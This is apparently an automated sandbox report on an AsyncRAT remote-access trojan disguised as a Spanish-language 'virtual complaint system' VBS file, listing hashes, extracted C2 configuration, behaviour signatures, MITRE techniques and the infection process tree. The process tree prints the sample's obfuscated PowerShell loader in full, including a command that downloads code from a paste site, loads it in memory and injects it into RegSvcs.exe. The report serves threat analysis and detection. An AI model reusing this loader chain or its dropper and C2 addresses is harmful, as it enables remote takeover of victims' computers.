asyncrat | ba58d6dc439454f2c37f8658c1d0b61446a3cf9aea0e22916e1ee5a4a396cbb9

General

Target

23052024_1336_SISTEMA DE DENUNCIA VIRTUAL.vbs
Size

1.9MB
MD5

f86fb7345ac89dc3869f3537daab76bf
SHA1

9b20bac5d8749b33c41388b7fc463d88bfc27ccb
SHA256

ba58d6dc439454f2c37f8658c1d0b61446a3cf9aea0e22916e1ee5a4a396cbb9
SHA512

b993ef1bfef599871b1cb4ba94a556d456fe80663db32702fe3727ad6e72c2421799781a1b4afb2a1a1904e896de0e236269d8f8bd6a67bdd45c90c92d631695
SSDEEP

768:hRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRz/:DAc

Score

10^/10

asyncrat default execution rat

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://pasteio.com/download/xDy3ge3eELDi

Extracted

Family

asyncrat

Version

1.0.7

Botnet

Default

C2

febrerososte.duckdns.org:2020

Mutex

DcRatMutex_qwqdanchun

Attributes

delay
1
install
false
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Blocklisted process makes network request 2 IoCs

Processes:

powershell.exe

flow pid process

13 1712 powershell.exe
18 1712 powershell.exe

flow	pid	process
13	1712	powershell.exe
18	1712	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WScript.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-1181767204-2009306918-3718769404-1000\Control Panel\International\Geo\Nation	WScript.exe

Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 1712 set thread context of 2924 1712 powershell.exe RegSvcs.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Using powershell.exe command.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exe

pid process

3580 powershell.exe
1712 powershell.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Delays execution with timeout.exe 1 IoCs
evasion

Processes:

timeout.exe

pid process

3704 timeout.exe
Suspicious behavior: EnumeratesProcesses 5 IoCs

Processes:

powershell.exepowershell.exe

pid process

3580 powershell.exe
3580 powershell.exe
1712 powershell.exe
1712 powershell.exe
1712 powershell.exe
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

powershell.exepowershell.exeRegSvcs.exe

description pid process

Token: SeDebugPrivilege 3580 powershell.exe
Token: SeDebugPrivilege 1712 powershell.exe
Token: SeDebugPrivilege 2924 RegSvcs.exe

description	pid	process	target process
PID 1712 set thread context of 2924	1712	powershell.exe	RegSvcs.exe

pid	process
3580	powershell.exe
1712	powershell.exe

pid	process
3704	timeout.exe

pid	process
3580	powershell.exe
3580	powershell.exe
1712	powershell.exe
1712	powershell.exe
1712	powershell.exe

description	pid	process
Token: SeDebugPrivilege	3580	powershell.exe
Token: SeDebugPrivilege	1712	powershell.exe
Token: SeDebugPrivilege	2924	RegSvcs.exe

Suspicious use of WriteProcessMemory 18 IoCs

Processes:

WScript.exepowershell.exepowershell.exeRegSvcs.execmd.exe

description	pid	process	target process
PID 3044 wrote to memory of 3580	3044	WScript.exe	powershell.exe
PID 3044 wrote to memory of 3580	3044	WScript.exe	powershell.exe
PID 3580 wrote to memory of 1712	3580	powershell.exe	powershell.exe
PID 3580 wrote to memory of 1712	3580	powershell.exe	powershell.exe
PID 1712 wrote to memory of 2924	1712	powershell.exe	RegSvcs.exe
PID 1712 wrote to memory of 2924	1712	powershell.exe	RegSvcs.exe
PID 1712 wrote to memory of 2924	1712	powershell.exe	RegSvcs.exe
PID 1712 wrote to memory of 2924	1712	powershell.exe	RegSvcs.exe
PID 1712 wrote to memory of 2924	1712	powershell.exe	RegSvcs.exe
PID 1712 wrote to memory of 2924	1712	powershell.exe	RegSvcs.exe
PID 1712 wrote to memory of 2924	1712	powershell.exe	RegSvcs.exe
PID 1712 wrote to memory of 2924	1712	powershell.exe	RegSvcs.exe
PID 2924 wrote to memory of 216	2924	RegSvcs.exe	cmd.exe
PID 2924 wrote to memory of 216	2924	RegSvcs.exe	cmd.exe
PID 2924 wrote to memory of 216	2924	RegSvcs.exe	cmd.exe
PID 216 wrote to memory of 3704	216	cmd.exe	timeout.exe
PID 216 wrote to memory of 3704	216	cmd.exe	timeout.exe
PID 216 wrote to memory of 3704	216	cmd.exe	timeout.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\23052024_1336_SISTEMA DE DENUNCIA VIRTUAL.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3044
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $ExeNy = 'J▒B0▒G0▒ZgBu▒Gc▒I▒▒9▒C▒▒Jw▒w▒Cc▒Ow▒k▒GY▒cQB6▒Hg▒cg▒g▒D0▒I▒▒n▒CU▒c▒B6▒EE▒YwBP▒Gc▒SQBu▒E0▒cg▒l▒Cc▒OwBb▒EI▒eQB0▒GU▒WwBd▒F0▒I▒▒k▒Hk▒aQB0▒HM▒cw▒g▒D0▒I▒Bb▒HM▒eQBz▒HQ▒ZQBt▒C4▒QwBv▒G4▒dgBl▒HI▒d▒Bd▒Do▒OgBG▒HI▒bwBt▒EI▒YQBz▒GU▒Ng▒0▒FM▒d▒By▒Gk▒bgBn▒Cg▒I▒▒o▒E4▒ZQB3▒C0▒TwBi▒Go▒ZQBj▒HQ▒I▒BO▒GU▒d▒▒u▒Fc▒ZQBi▒EM▒b▒Bp▒GU▒bgB0▒Ck▒LgBE▒G8▒dwBu▒Gw▒bwBh▒GQ▒UwB0▒HI▒aQBu▒Gc▒K▒▒n▒Gg▒d▒B0▒H▒▒cw▒6▒C8▒LwBw▒GE▒cwB0▒GU▒aQBv▒C4▒YwBv▒G0▒LwBk▒G8▒dwBu▒Gw▒bwBh▒GQ▒LwB4▒EQ▒eQ▒z▒Gc▒ZQ▒z▒GU▒RQBM▒EQ▒aQ▒n▒Ck▒KQ▒7▒Fs▒cwB5▒HM▒d▒Bl▒G0▒LgBB▒H▒▒c▒BE▒G8▒bQBh▒Gk▒bgBd▒Do▒OgBD▒HU▒cgBy▒GU▒bgB0▒EQ▒bwBt▒GE▒aQBu▒C4▒T▒Bv▒GE▒Z▒▒o▒CQ▒eQBp▒HQ▒cwBz▒Ck▒LgBH▒GU▒d▒BU▒Hk▒c▒Bl▒Cg▒JwBD▒Gw▒YQBz▒HM▒T▒Bp▒GI▒cgBh▒HI▒eQ▒z▒C4▒QwBs▒GE▒cwBz▒DE▒Jw▒p▒C4▒RwBl▒HQ▒TQBl▒HQ▒a▒Bv▒GQ▒K▒▒n▒Fo▒e▒BL▒Eg▒Rw▒n▒Ck▒LgBJ▒G4▒dgBv▒Gs▒ZQ▒o▒CQ▒bgB1▒Gw▒b▒▒s▒C▒▒WwBv▒GI▒agBl▒GM▒d▒Bb▒F0▒XQ▒g▒Cg▒Jw▒w▒C8▒R▒Bi▒FQ▒bQBr▒C8▒Z▒▒v▒GU▒ZQ▒u▒GU▒d▒Bz▒GE▒c▒▒v▒C8▒OgBz▒H▒▒d▒B0▒Gg▒Jw▒g▒Cw▒I▒▒k▒GY▒cQB6▒Hg▒cg▒g▒Cw▒I▒▒n▒F8▒XwBf▒F8▒XwBf▒F8▒XwBf▒F8▒XwBf▒F8▒XwBf▒F8▒XwBf▒F8▒XwBf▒F8▒Xw▒t▒C0▒LQ▒t▒C0▒LQ▒t▒C0▒LQ▒t▒C0▒LQ▒t▒Cc▒L▒▒g▒CQ▒d▒Bt▒GY▒bgBn▒Cw▒I▒▒n▒DE▒Jw▒s▒C▒▒JwBS▒G8▒Z▒Bh▒Cc▒I▒▒p▒Ck▒Ow▒=';$KByHL = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $ExeNy.replace('▒','A') ) );$KByHL = $KByHL.replace('%pzAcOgInMr%', 'C:\Users\Admin\AppData\Local\Temp\23052024_1336_SISTEMA DE DENUNCIA VIRTUAL.vbs');powershell -command $KByHL;
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3580
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$tmfng = '0';$fqzxr = 'C:\Users\Admin\AppData\Local\Temp\23052024_1336_SISTEMA DE DENUNCIA VIRTUAL.vbs';[Byte[]] $yitss = [system.Convert]::FromBase64String( (New-Object Net.WebClient).DownloadString('https://pasteio.com/download/xDy3ge3eELDi'));[system.AppDomain]::CurrentDomain.Load($yitss).GetType('ClassLibrary3.Class1').GetMethod('ZxKHG').Invoke($null, [object[]] ('0/DbTmk/d/ee.etsap//:sptth' , $fqzxr , '_______________________-------------', $tmfng, '1', 'Roda' ));"
    3⤵
    - Blocklisted process makes network request
    - Suspicious use of SetThreadContext
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1712
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
      4⤵
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:2924
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpA469.tmp.bat""
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:216
      - C:\Windows\SysWOW64\timeout.exe
        
        timeout 3
        6⤵
        Delays execution with timeout.exe
        
        PID:3704

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --field-trial-handle=4088,i,11266875042087428226,16669718873272757238,262144 --variations-seed-version --mojo-platform-channel-handle=4092 /prefetch:8
1⤵
PID:4496

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
f41839a3fe2888c8b3050197bc9a0a05

SHA1
0798941aaf7a53a11ea9ed589752890aee069729

SHA256
224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a

SHA512
2acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
5caad758326454b5788ec35315c4c304

SHA1
3aef8dba8042662a7fcf97e51047dc636b4d4724

SHA256
83e613b6dc8d70e3bb67c58535e014f58f3e8b2921e93b55137d799fc8c56391

SHA512
4e0d443cf81e2f49829b0a458a08294bf1bdc0e38d3a938fb8274eeb637d9a688b14c7999dd6b86a31fcec839a9e8c1a9611ed0bbae8bd59caa9dba1e8253693

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_lzrj4l1a.ywt.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmpA469.tmp.bat

Filesize
171B

MD5
2532ed74f6b6e30770ee04ff3dfcd8d7

SHA1
e5b17c4277a7515a3d85305c8b96de45e96089c9

SHA256
315beefaa4a326aa978c32f4f5857dc9005ee5b24d14f1573e62f409164c0b4d

SHA512
5fbdd6d84c25e7a486e4bf91f33d8a543eff799262ddbd0e79b603c3688271c1f45bd579c29c31d7cf32c534b60ad5510b855e6bc56528d093f1217c7bfccead

Download Submit
memory/1712-23-0x0000028461050000-0x000002846105A000-memory.dmp

Filesize
40KB

Download
memory/1712-24-0x0000028461060000-0x000002846106A000-memory.dmp

Filesize
40KB

Download
memory/2924-34-0x0000000005710000-0x00000000057AC000-memory.dmp

Filesize
624KB

Download
memory/2924-25-0x0000000000400000-0x0000000000412000-memory.dmp

Filesize
72KB

Download
memory/2924-35-0x0000000005D60000-0x0000000006304000-memory.dmp

Filesize
5.6MB

Download
memory/2924-36-0x0000000005820000-0x0000000005886000-memory.dmp

Filesize
408KB

Download
memory/2924-37-0x0000000006BD0000-0x0000000006C46000-memory.dmp

Filesize
472KB

Download
memory/2924-38-0x0000000006B50000-0x0000000006BB4000-memory.dmp

Filesize
400KB

Download
memory/2924-39-0x0000000006C70000-0x0000000006C8E000-memory.dmp

Filesize
120KB

Download
memory/3580-13-0x00007FFE9FFB0000-0x00007FFEA0A71000-memory.dmp

Filesize
10.8MB

Download
memory/3580-12-0x00007FFE9FFB0000-0x00007FFEA0A71000-memory.dmp

Filesize
10.8MB

Download
memory/3580-11-0x00007FFE9FFB0000-0x00007FFEA0A71000-memory.dmp

Filesize
10.8MB

Download
memory/3580-31-0x00007FFE9FFB0000-0x00007FFEA0A71000-memory.dmp

Filesize
10.8MB

Download
memory/3580-0-0x00007FFE9FFB3000-0x00007FFE9FFB5000-memory.dmp

Filesize
8KB

Download
memory/3580-10-0x000001FE2D2B0000-0x000001FE2D2D2000-memory.dmp

Filesize
136KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads